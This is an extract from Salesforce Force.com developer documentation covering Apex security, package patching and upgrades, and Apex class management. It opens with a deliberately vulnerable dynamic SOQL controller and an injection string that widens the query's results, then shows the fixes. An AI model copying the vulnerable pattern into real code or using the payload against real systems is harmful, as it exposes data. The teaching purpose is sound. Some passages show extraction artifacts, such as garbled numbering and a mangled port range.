
SOQL Injection Vulnerability in Apex


Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query} />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
queryResult = Database.query(qryString);
return null;
}
}

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The
SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate
value, the statement executes as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

1985

Create

Security Tips for Apex and Visualforce Development

However, what if the user provides unexpected input, such as:


// User supplied value for name: test%') OR (Name LIKE '

In that case, the query string becomes:


SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.
SOQL Injection Defenses
To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables.
The vulnerable example above can be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds
the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all
single quotation marks are treated as enclosing strings, instead of database commands.

Data Access Control


The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings
for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution.
The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these
rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would
normally be hidden from users by user permissions, field-level security, or organization-wide defaults. This is particularly true
for Visualforce pages. For example, consider the following Apex pseudo-code:
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}

1986

Create

Creating and Uploading Patches

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view
these records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in,
rather than granting full access to all records.

Creating and Uploading Patches


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development
organization:

Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

Patch versions are developed and maintained in a patch development organization. For more information on push upgrades
and patches, see the Force.com Quick Reference for Developing Packages. You can also read the Best Practices for Push
Upgrades and Patch Versions on page 1978 for more information.
To create a patch version:
1.
2.
3.
4.

Click Your Name > Setup > Create > Packages.


Click the name of your managed package.
Click the Patch Organization tab and then click New.
Select the package version that you want to create a patch for in the Patching Major Release drop-down list. The release
type must be Managed - Released.
5. Enter a Username for a login to your patch organization.
6. Enter an Email Address associated with your login.
7. Click Save.
Note: If you ever lose your login information, click Reset on the package detail page under Patch Development
Organizations to reset the login to your patch development organization.

After you receive an email indicating Salesforce has created your patch development organization, you can click Login to begin
developing your patch version.
Development in a patch development organization is restricted. The following is a list of caveats:

New package components cant be added.


Existing package components cant be deleted.

1987

Create

Creating and Uploading Patches

API and dynamic Apex access controls cant change for the package.
No deprecation of any Apex code.
No new Apex class relationships, such as extends, can be added.
No new Apex access modifiers, such as virtual or global, can be added.
No new Web services can be added.
No new feature dependencies can be added.

When you finish developing your patch, in your patch development organization:
1.
2.
3.
4.
5.

Click Your Name > Setup > Create > Packages and click the name of the package.
On the Upload Package page, click Upload.
Enter a Version Name. As a best practice, it's useful to have a short description and the date.
Notice that the Version Number has had its patchNumber incremented.
For managed packages, select a Release Type:

Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce components
are locked. For a list of locked attributes, see Developing Packages for Distribution.
Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for testing
purposes. You'll still be able to change the components and upload additional beta versions. For information on beta
versions, see Developing Packages for Distribution.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't be
pushed to customer organizations.

6. Change the Description, if necessary.


7. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Don't enter
a password if you want to make the package available to anyone on AppExchange and share your package publicly.
8. Salesforce automatically selects the requirements it finds. In addition, select any other required components from the
Package Requirements and Object Requirements sections to notify installers of any requirements for this package.
9. Click Upload.
To distribute your patch, you can either share the upload link, or schedule a push upgrade.

See Also:
Scheduling Push Upgrades
Viewing Push Upgrade History
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages

1988

Create

Converting Unmanaged Packages to Managed

Converting Unmanaged Packages to Managed


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings:

Customize Application

To create packages:

Create AppExchange Packages

To upload packages:

Upload AppExchange Packages

Your organization may already have uploaded and registered packages on Force.com AppExchange directory. All packages
uploaded prior to the Winter '07 release are unmanaged, meaning they cannot be upgraded in the installer's organization. You
can convert them to managed packages by configuring your organization for managed packages and choosing a package to be
managed. This allows you to notify installers when an upgrade is ready for them to install.
Before you convert an existing package to managed, notify your current installers of how to save their data:
1.
2.
3.
4.

Export all the data from the previous, unmanaged version of the package.
Uninstall the unmanaged package.
Install the new managed version of the package.
Import all the exported data into the new managed package.
Note: Note to installers: if you have made customizations to an installation of an unmanaged package, make a list
of these customizations before uninstalling since you may want to implement them again. However, some
customizations will not be possible with a managed package. See the Force.com Quick Reference for Developing
Packages.

To convert an unmanaged package into a managed package:


1. Enable managed packages for your organization.
2. Click Your Name > Setup > Create > Packages, edit the package you want to make managed, and select Managed.
Caution: Converting an unmanaged package to managed requires registering a namespace prefix that affects the API
names of uniquely named package components such as custom fields or s-controls. S-controls stored in the s-control
library or the Documents tab that do not use the Force.com API still function properly after you register a namespace
prefix. However, s-controls stored outside of your organization or s-controls that use the Force.com API to call
Salesforce may require some fine-tuning. For more information, see S-control in the Object Reference.

See Also:
Managing Packages
Enabling Managed Packages for Your Organization

1989

Create

Publishing Extensions to Managed Packages

Publishing Extensions to Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages:

Create AppExchange Packages

To upload packages:

Upload AppExchange Packages

An extension is any package, component, or set of components that adds to the functionality of a managed package. An
extension requires that the base managed package be installed in the organization. For example, if you have built a recruiting
app, an extension to this app might include a component for performing background checks on candidates.
The community of developers, users, and visionaries building and publishing apps on Force.com AppExchange is part of what
makes Force.com such a rich development platform. Use this community to build extensions to other apps and encourage
them to build extensions to your apps.
To publish extensions to a managed package:
1. Install the base package in the Salesforce organization that you plan to use to upload the extension.
2. Build your extension components.
Note: To build an extension, install the base package and include a dependency to that base package in your
package. The extension attribute will automatically become active.
3. Create a new package and add your extension components. Salesforce automatically includes some related components.
For more information, see the Force.com Quick Reference for Developing Packages.
4. Upload the new package that contains the extension components.
5. Proceed with the publishing process as usual. For information on creating a test drive or registering and publishing your
app, go to http://sites.force.com/appexchange/publisherHome.
Note: Packages cannot be upgraded to Managed - Beta if they are used within the same organization as an extension.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Versions
Publishing Upgrades to Managed Packages

1990

Create

Publishing Upgrades to Managed Packages

Publishing Upgrades to Managed Packages


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings:

Customize Application

To create packages:

Create AppExchange Packages

To upload packages:

Upload AppExchange Packages

As a publisher, first ensure that your app is upgradeable by converting it to a managed package. Any changes you make to the
components in a managed package are automatically included in subsequent uploads of that package, with one exception.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that
the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in
each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator
should manually apply any acceptable changes after installing an upgrade. For more information, see About API and Dynamic
Apex Access in Packages on page 2234.
To publish upgrades to a managed package:
1. Select the package from the list of packages available at Your Name > Setup > Create > Packages.
2. View the list of package components. Changes you have made to components in this package are automatically included
in this list. If the changes reference additional components, those components are automatically included as well. To add
new components, click Add to add them to the package manually.
3. Click Upload and upload it as usual.
Note:
After you upload a new version of your Managed - Released package, you can click Deprecate so installers cannot
install an older version. Deprecation prevents new installations of older versions without affecting existing
installations. For more information, see Managing Versions on page 1969.
You cannot deprecate the most recent version of a managed package upload.
4. When you receive an email with the link to the upload on Force.com AppExchange, notify your installed users that the
new version is ready. Use the list of installed users from the License Management Application (LMA) to distribute this

1991

Develop

Resolving Apex Test Failures

information. The License Management Application (LMA) automatically stores the version number that your installers
have in their organizations.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Versions
Creating and Uploading Patches
Publishing Extensions to Managed Packages

Resolving Apex Test Failures


Available in: Developer Edition

Package installs or upgrades may fail for not passing Apex test coverage. However, some of these failures can be ignored. For
example, a developer might write an Apex test that makes assumptions about a subscriber's data.
If you're a subscriber whose installation is failing due to an Apex test, contact the developer of the package for help.
If you're a developer and an install fails due to an Apex test failure, check for the following:

Make sure that you are staging all necessary data required for your Apex test, instead of relying on subscriber data that
exists
If a subscriber creates a validation rule, required field, or trigger on an object referenced by your package, your test might
fail if it performs DML on this object. If this object is created only for testing purposes and never at runtime, and the
creation fails due to these conflicts, you might be safe to ignore the error and continue the test. Otherwise, contact the
customer and determine the impact.

DEVELOP
Development Overview
The available setup options vary according to which Salesforce Edition you have.

Click Your Name > Setup > Develop to access the following options. These app builder tools may require some programming
knowledge:
Apex Classes
Available in Developer, Enterprise, and Unlimited Editions only. Define Apex classes that you can use to add additional
business logic to your custom applications.

1992

Develop

Development Overview

Apex Triggers
Available in Developer, Enterprise, and Unlimited Editions only. View all Apex triggers defined for your organization.
Working with Apex Test Execution
Available in Developer, Enterprise, and Unlimited Editions only. Run Apex unit tests and view test results.
API
Available in Enterprise, Unlimited, and Developer Editions only. Download WSDL files that allow you to integrate
external applications with Salesforce.
Components
Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Define custom
Visualforce components that you can use in one or more Visualforce pages.
Custom Settings
Available in Group, Personal, Developer, Enterprise, and Unlimited Editions. Create and manage custom data for your
organization.
Email Services
Available in Developer, Enterprise, and Unlimited Editions. Define Apex classes that can process inbound email.
Pages
Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Define Visualforce
pages that display your own custom user interfaces.
S-Controls
Edit Java applets or Active-X controls for use in dynamic custom links or Web tabs.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.
Sites
Available in Developer, Enterprise, and Unlimited Editions. Create public websites and applications that are integrated
into Salesforce.
Static Resources
Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Upload content
that you can reference in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets,
JavaScript programs, and other files.
Remote Access
Available in all editions. Create and manage a remote access application. A remote access application is an application
external to Salesforce that uses the OAuth protocol to verify both the Salesforce user and the external application.

1993

Develop

Apex Code Overview

Tools
Available in Developer, Enterprise, and Unlimited Editions only. Download tools that can assist you with building,
debugging, testing, and deploying Apex.

See Also:
App Builder Tools Overview
App Setup Overview

Apex Code Overview


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java
and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button
clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on
objects.
Apex can be stored on the platform in two different forms:

A class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code under Your Name > Setup > Develop > Apex Classes.
See Managing Apex Classes on page 1998.
A trigger is Apex code that executes before or after specific data manipulation language (DML) events occur, such as before
object records are inserted into the database, or after records have been deleted. Triggers are stored as metadata in Salesforce.
A list of all triggers in your organization is located at Your Name > Setup > Develop > Apex Triggers. See Managing
Apex Triggers on page 2008.

Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules arent taken
into account during code execution.
You must have at least 75% of your Apex covered by unit tests before you can deploy your code to production environments.
In addition, all triggers must have some test coverage. See About Apex Unit Tests on page 2037.
After creating your classes and triggers, as well as your tests, replay the execution using the Developer Console.
Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master
Subscription Agreement.

1994

Develop

Defining Apex Classes

For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Defining Apex Classes
Viewing Apex Classes
Apex Class Security Overview
Creating an Apex Class from a WSDL
Defining Apex Triggers
What is a Debug Log?
Working with the Developer Console
About Apex Unit Tests
Monitoring Debug Logs
Using Tools for Developing and Deploying Apex
Handling Apex Exceptions in Managed Packages
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Apex Classes


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

Apex classes are stored as metadata in Salesforce.


Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master
Subscription Agreement.
To create a class:
1. Click Your Name > Setup > Develop > Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API,
as well as each managed package. You can specify an older version of a managed package if you want to access components
or functionality that differs from the most recent package version. You can specify an older version of Apex and the API
to maintain specific behavior.

1995

Develop

Managing Version Settings for Apex

4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including
comments, test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue
editing your class. Your Apex class must compile correctly before you can save your class.
Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and
the API. If the Apex class references components, such as a custom object, in installed managed packages, the version
settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid
flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes
are made to object names or fields that are used in the class, including superficial changes such as edits to an object or
field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a
trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If
there are no errors, the isValid flag is reset to true.

See Also:
Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
About Apex Unit Tests
Creating an Apex Class from a WSDL
Apex Class Security Overview
Managing Version Settings for Apex
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Managing Version Settings for Apex


Available in: Unlimited, Developer, Enterprise, and Database.com Editions
Managed Packages are not available in Database.com.

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the
Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed
package referenced by the class is saved too. This ensures that as Apex, the API, and the components in managed packages
evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value

1996

Develop

Managing Version Settings for Apex

during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package.
To set the Salesforce.com API and Apex version for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select the Version of the Salesforce.com API. This is also the version of Apex associated with the class or trigger.
3. Click Save.
To configure the package version settings for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will
continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update
the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the class
or trigger.
3. Click Save.
Note the following when working with package version settings:

If you save an Apex class or trigger that references a managed package without specifying a version of the managed package,
the Apex class or trigger is associated with the latest installed version of the managed package by default.
You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or
trigger. Use Show Dependencies to find where a managed package is referenced by a class or a trigger.

See Also:
Apex Code Overview
Defining Apex Classes
Defining Apex Triggers
Managing Apex Classes
Managing Apex Triggers
Viewing Apex Classes
Apex Class Security Overview
Managing Packages
About Package Versions
Developer's Guide: Force.com Apex Code Developer's Guide

1997

Develop

Managing Apex Classes

Managing Apex Classes


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

An Apex class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code. Once successfully saved, class methods or variables can be
invoked by other Apex code, or through the SOAP API (or AJAX Toolkit) for methods that have been designated with the
webService keyword.
The Apex Classes page enables you to create and manage Apex classes. To access the Apex Classes page, click Your Name >
Setup > Develop > Apex Classes.
To create an Apex class, from the Apex Classes page, click New and write your Apex code in the editor. See Defining Apex
Classes on page 1995.
While developers can write class methods according to the syntax outlined in the Force.com Apex Code Developer's Guide, classes
can also be automatically generated by consuming a WSDL document that is stored on a local hard drive or network. Creating
a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex. From
the Apex Classes page, click Generate From WSDL to generate an Apex class from a WSDL document.
Once you have created an Apex class, you can do any of the following:

Click Edit next to the class name to modify its contents in a simple editor.
Click Del next to the class name to delete the class from your organization.
Note:
You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production
organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources
provided by salesforce.com to support its users and partners, but are not considered part of our Services for
purposes of the salesforce.com Master Subscription Agreement.
You cannot delete a class that is specified as a controller for a Visualforce page or component.
A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special
considerations. For more information, see the Force.com Quick Reference for Developing Packages.
A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in
a managed package.
A icon indicates that an Apex class in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex class through the package detail page. See Deleting
Components From Managed Packages

1998

Develop

Managing Apex Classes

If an Apex class has any methods defined as a webService, you can click WSDL next to the class name to generate a
WSDL document from the class contents. This document contains all of the information necessary for a client to consume
Apex Web service methods. All class methods with the webService keyword are included in the resulting WSDL
document.
Click Security next to the class name to select the profiles that are allowed to execute methods in the class from top-level
entry points, such as Web service methods. For classes that are installed in your organization as part of a managed package,
this link only displays for those defined as global.
Click Calculate your organization's code coverage to find out how much of the Apex code in your organization is currently
covered by unit tests. This percentage is based on the latest test results of tests that youve already executed. If you have no
test results or if youve cleared code coverage results, code coverage is listed at 0%. For more information, see About Apex
Unit Tests on page 2037.
Note: The code coverage value computed by Calculate your organization's code coverage might differ from the
code coverage value computed after running all unit tests using Run All Tests. This is because Calculate your
organization's code coverage excludes classes that are part of installed managed packages while Run All Tests
doesn't.

Click the percentage number in the Code Coverage column to see which lines in a class have been covered by Apex unit
tests.
Click Clear Code Coverage to reset the code coverage results for all Apex triggers and classes to 0%.
If you have unit tests in at least one Apex class, click Run All Tests to run all the unit tests in your organization. For more
information, see About Apex Unit Tests on page 2037.
Click Compile all classes to compile all the Apex classes in your organization. If you have classes that are installed from
a managed package and that have test methods or are test classes, you must compile these classes first before you can view
them and run their test methods from the Apex Test Execution page. Managed package classes can be compiled only
through the Compile all classes link because they cannot be saved. Otherwise, saving Apex classes that aren't from a
managed package causes them to be recompiled. This link compiles all the Apex classes in your organization, whether or
not they are from a managed package.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand
templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace
Prefix on page 1944.

See Also:
Apex Code Overview
Defining Apex Classes
Viewing Apex Classes
Creating an Apex Class from a WSDL
Apex Class Security Overview
Understanding Dependencies
About Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

1999

Develop

Viewing Apex Classes

Viewing Apex Classes


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

After you have created a class, you can view the code contained in the class, as well as the API against which the class was
saved, and whether the class is valid or active. Click Your Name > Setup > Develop > Apex Classes, then click the name of
the class you want to view. While viewing a class, you can do any of the following:

Click Edit to make changes to the class.


Note:
You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production
organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources
provided by salesforce.com to support its users and partners, but are not considered part of our Services for
purposes of the salesforce.com Master Subscription Agreement.
A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special
considerations. For more information, see the Force.com Quick Reference for Developing Packages.
A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in
a managed package.
A icon indicates that an Apex class in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex class through the package detail page.

Click Delete to delete the class.


Note: You cannot delete a class that is specified as a controller for a Visualforce page or component.

If your class has a method defined as a webService, click Generate WSDL to generate a WSDL document based on
the class.
Note: You cannot generate a WSDL document for classes defined as isTest.

Click Download to download a copy of your Apex.


Click Run Test to run the unit tests contained in the class.
Click Security to set the Apex class level security.
Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be
valid. For more information, see Understanding Dependencies on page 1970.

2000

Develop

Creating an Apex Class from a WSDL

The Class Summary tab displays the prototype of the class; that is, the classes, methods and variables that are available to
other Apex code. The Class Summary tab lists the access level and signature for each method and variable in an Apex class,
as well as any inner classes. If there is no prototype available, this tab is not available.
Note:

For Apex classes not included in managed packages, only classes, methods and variables defined as either global
or public are displayed.
For Apex classes included in managed packages, the Class Summary tab also lists the package version a particular
property or method was introduced. You can select a version number from the drop-down list to see the prototype
for the selected package version. The default value is the current installed version. A package developer can deprecate
an Apex method and upload a new package version, thus exposing an Apex class with a different prototype. Only
classes, methods and variables defined as global are displayed in prototypes for managed package classes.

If an Apex class references components in installed managed packages, such as another class, trigger, or custom object, the
Version Settings tab lists the package versions of the packages containing the referenced components.
The Log Filters tab displays the debug log categories and debug log levels that you can set for the class. For more information,
see Debug Log Filtering for Apex Classes and Apex Triggers on page 2053.

See Also:
Apex Code Overview
Managing Apex Classes
Defining Apex Classes
About Apex Unit Tests
Creating an Apex Class from a WSDL
Apex Class Security Overview
Using the Editor for Visualforce or Apex
About Package Versions
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Creating an Apex Class from a WSDL


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

An Apex class can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating
a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex.

2001

Develop

Creating an Apex Class from a WSDL

Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web
services only when necessary.
To access this functionality:
1. In the application, click Your Name > Setup > Develop > Apex Classes.
2. Click Generate from WSDL.
3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL
document is the basis for the Apex class you are creating.
Note:
The WSDL document that you specify might contain a SOAP endpoint location that references an outbound
port.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:

80: This port only accepts HTTP connections.


443: This port only accepts HTTPS connections.
102466535 (inclusive): These ports accept HTTP or HTTPS connections.

4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each
namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema
constructs that are not supported by Apex classes, or if the resulting classes exceed 1 million character limit on Apex classes.
For example, the Salesforce SOAP API WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the
same class name for each namespace, Apex classes can be no more than 1 million characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors
from other classes. The page also provides a link to view successfully generated code.
The successfully-generated Apex class includes stub and type classes for calling the third-party Web service represented by
the WSDL document. These classes allow you to call the external Web service from Apex. For an example, see the Force.com
Apex Code Developer's Guide.
Note the following about the generated Apex:

If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated.
For example, limit in a WSDL document converts to limit_x in the generated Apex class. For a list of reserved words,
see the Force.com Apex Code Developer's Guide.
If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements
in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual
elements.

See Also:
Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
Defining Apex Classes
Apex Class Security Overview
Developer's Guide: Force.com Apex Code Developer's Guide

2002

Develop

Apex Class Security Overview

Apex Class Security Overview


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

You can specify which users can execute methods in a particular top-level Apex class based on their profile or an associated
permission set. These permissions only apply to Apex class methods, such as Web service methods, or any method used in a
custom Visualforce controller or controller extension applied to a Visualforce page. Triggers always fire on trigger events (such
as insert or update), regardless of a user's permissions.
Note: If you have installed a managed package in your organization, you can set security only for the Apex classes in
that package that are declared as global, or for classes that contain methods declared as webService.
If users have the Author Apex permission, they can access all Apex classes in the associated organization, regardless
of the security setting for individual classes.
Permission for an Apex class is checked at the top level only. For example, if class A calls class B, and a user profile has access
only to class A but not class B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom
component with an associated controller, security is only checked for the controller associated with the page. The controller
associated with the custom component executes regardless of permissions.
You can set Apex class security via:

The Apex class list page


An Apex class detail page
Permission sets
Profiles

See Also:
Apex Code Overview
Managing Apex Classes
Visualforce Overview
Developer's Guide: Force.com Apex Code Developer's Guide

2003

Develop

Apex Class Security Overview

Setting Apex Class Access from the Class List Page


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To set Apex class security:

Author Apex
AND
Customize Application

1. Click Your Name > Setup > Develop > Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you
want to disable from the Enabled Profiles list and click Remove.
4. Click Save.

See Also:
Apex Class Security Overview

Setting Apex Class Access from the Class Detail Page


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To set Apex class security:

Author Apex
AND
Customize Application

1.
2.
3.
4.

Click Your Name > Setup > Develop > Apex Classes.
Click the name of the class that you want to restrict.
Click Security.
Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you
want to disable from the Enabled Profiles list and click Remove.

2004

Develop

Apex Class Security Overview

5. Click Save.

See Also:
Apex Class Security Overview

Setting Apex Class Access from Permission Sets


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To edit Apex class access settings:

Manage Users

You can specify which methods in a top-level Apex class are executable for a permission set. These settings only apply to Apex
class methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension
applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of permission
settings.
1.
2.
3.
4.
5.

Click Your Name > Setup > Manage Users > Permission Sets.
Select a permission set.
Click Apex Class Access.
Click Edit.
Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex
classes that you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.

See Also:
Apex Class Security Overview
Permission Sets Overview

2005

Develop

Defining Apex Triggers

Setting Apex Class Access from Profiles


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To edit profiles:

Manage Users

You can specify which methods in a top-level Apex class are executable for a profile. These settings only apply to Apex class
methods, such as Web service methods, or any method used in a custom Visualforce controller or controller extension applied
to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless of profile settings.
1.
2.
3.
4.

Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
In the Apex Class Access page or related list, click Edit.
Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex
classes that you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.

See Also:
Apex Class Security Overview
User Profiles Overview

Defining Apex Triggers


Available in: Unlimited, Developer, Enterprise, and Database.com Editions
Standard Objects, Campaigns, Cases, and Emails are not available in Database.com.

User Permissions Needed


To define Apex triggers:

Author Apex

